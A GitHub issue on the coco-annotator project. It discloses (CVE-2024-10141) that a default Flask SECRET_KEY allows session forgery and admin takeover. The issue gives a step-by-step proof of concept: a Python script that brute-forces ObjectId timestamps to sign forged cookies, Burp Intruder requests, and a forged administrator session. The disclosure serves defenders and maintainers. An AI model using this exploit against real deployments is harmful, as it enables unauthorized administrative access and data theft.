Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Default SECRET_KEY can lead to arbitrary session forgery #626

Open
gaogaostone opened this issue Oct 12, 2024 · 1 comment
Open

Default SECRET_KEY can lead to arbitrary session forgery #626

gaogaostone opened this issue Oct 12, 2024 · 1 comment

Comments

@gaogaostone
Copy link

The coco-annotator project has a default SECRET_KEY, which is used for signing and verifying Flask sessions. If the system administrator does not change the SECRET_KEY when configuring the system, it can lead to arbitrary session forgery by any user and gain administrative privileges.

Affected versions:
v0.11.1

Proof of concept

Step 1: Open http://x.x.x.x:5000/#/auth. Click on the "register" option.Enter the required information to register a new user(such as, coco/123456). If the account already exists, skip the registration and proceed to step 2 directly.

Step2: Log into the system and get the Set-Cookie header in the response. Here is a example.
image

Step 3: use the tool flask-session-cookie-manager( https://github.com/noraj/flask-session-cookie-manager) to decode the session and analyze the format of the session.
python3 flask_session_cookie_manager3.py decode -c ".eJwlzksOwjAMANG7eN2FP3HqcBkUx7Zg29IV4u4gcYB5mjfc68jzAbfXceUG92fADcJ8YR_NV9ooMzd0b-xYTL6KkoJkZ95thGHXkDYJp-Dk4WKFg6dniRrlsr4n1QxF8sQMsmLzNijFpnfkkvmLjKb70sayAja4zjz-M73_mJI2VJYqIroKSWf4fAE3ojSz.Zlgfkg.APoV6-pcsJ68eOGMsIiHF4OdOYk"
The decode result of session is as following:
b'{"_fresh":true,"_id":"d8bc0694bce89f88b80bb42b0f21bcf1e1d13722789d8065d34a10a30a29b38f092abef3581ec867e1fad501be0ed18f28b491e38ab602f3ab3881abbc5423cd","user_id":"66581f34953c55000b531362"}'

Step 4: analyze the factors of user_id. The user_id is auto generated by mongodb, aka ObjectId. The rules of ObjectId can find on https://www.cnblogs.com/btgyoyo/p/7156589.html.
ObjectId is a 12-byte BSON type string. In byte order, it represents the following:
4 bytes: UNIX timestamp
3 bytes: Identifies the machine running MongoDB(fixed)
2 bytes: Represents the process that generated this _id(fixed, if no restarting)
3 bytes: A incrementing counter value starting from a random number. (can be calculated with new register user’s id and user counts)

Now, only the 4 bytes UNIX timestamp need be guessed. There is no need to guess from 1970, we can guess from now. The brute-force range for a day is 246060=86400. The brute-force range for a year is 3652460*60=31536000.
Thus, we can forge the session and become anyone(of course, I want to be administrator).

Step 5: send the following request and get the counts of the system users.

GET /api/info/ HTTP/1.1
Host: x.x.x.x:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://x.x.x.x:5000/
Content-Length: 2

image

Step 6: By brute-forcing the user_id, one can forge a session. In coco-annotator, the first registered user is a super administrator. Based on the rule that last three bytes of user_id is a continuous counter, the last three bytes of the super administrator's user_id are 0x531362-4+1=0x53135f. If the default machine code and process remain unchanged, the last eight bytes of the super administrator's user_id are 953c55000b53135f. Then, by estimating the system's deployment time range, one can brute-force and generate a forged session. After testing, the id field in the session is meaningless and can be freely modified. The script for brute-forcing and generating the session is as follows:

# coding=utf-8
import time
import datetime
import subprocess

def call_script_and_write_output(user_id, output_file):
    try:
        # Construct the command with script name and arguments
        command = "python3 flask_session_cookie_manager3.py encode -s \"RandomSecretKeyHere\"  -t '{\"_fresh\":True,\"_id\":\"e5fc7a54a73246c3b956026a87e4687d6daca473c28d0719269540d604cbd7fc61e910b12ebc84477fb7b8d76c7bbccf64ad1a852ad1bf80e7bac4b2174aba5f\",\"user_id\":\"%s\"}'" % user_id
	# Call the script and capture the output
        print(command)
        result = subprocess.getoutput(command)
        print(result)

        # Write the output to the file
        with open(output_file, 'a+') as file:
            file.write(result)
            file.write("\n")

        print(f"Output written to {output_file}")
    except Exception as e:
        print(f"An error occurred: {e}")

# 示例时间,可以根据需要修改
d_start = datetime.datetime(2024, 5, 29, 14, 30, 0)
d_end = datetime.datetime(2024, 5, 29, 15, 00, 0)
timestamp_start = int(time.mktime(d_start.timetuple()))
timestamp_end = int(time.mktime(d_end.timetuple()))

print(f"时间 {d_start} 转化为16进制时间戳为 {hex(timestamp_start)}")
print(f"时间 {d_end} 转化为16进制时间戳为 {hex(timestamp_end)}")

ss = "953c55000b53135f"
#for item in range(0x6656cc28, 0x6656cc29):
#for item in range(timestamp_start, timestamp_start+1):
for item in range(timestamp_start, timestamp_end):
    user_id = hex(item)[2:] + ss
    print(user_id)
    call_script_and_write_output(user_id, "/Users/stone/sessions.txt")

Step 7: place the sessions in Intruder module of Burpsuite and brute-force the following request. The URL encoding must be disabled for session. When it response with status 200, it is the right forged session.

GET /api/undo/list/?limit=50&type=all HTTP/1.1
Host: x.x.x.x:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://x.x.x.x:5000/
Content-Length: 2
Cookie: session=§a§

image

Step 8: send following request with forged session to check whether I am administrator. This interface can only be accessed by administrator. It response with all user’s information and I am administrator.

GET /api/admin/users?limit=52 HTTP/1.1
Host: x.x.x.x:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://x.x.x.x:5000/
Cookie: session=.eJwljjkOwjAQAP_iOsXa3sPOZ9BeFrQJqRB_JxLVNCPNfMpjHXk-y_4-rtzK4xVlL0nLRQlVekP2bpMYGuuQRB4SHOqK0r2NAKmz8SSEYEC3kOVcc1aw2tJ8IIosExsh7GLmvhg1qg5qN2wNSDF1tFYF1ZRW2cp15vGfYSb2uzSpOxEAGPXab-n7AyAQNWI.Zlg4qQ.7z6H7om53jMdLVSmmk4DPBLfOJY

image

@gaogaostone gaogaostone changed the title Default SECRET_KEY can lead to can lead to arbitrary session forgery Default SECRET_KEY can lead to arbitrary session forgery Oct 12, 2024
@gaogaostone
Copy link
Author

This is marked as CVE-2024-10141

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant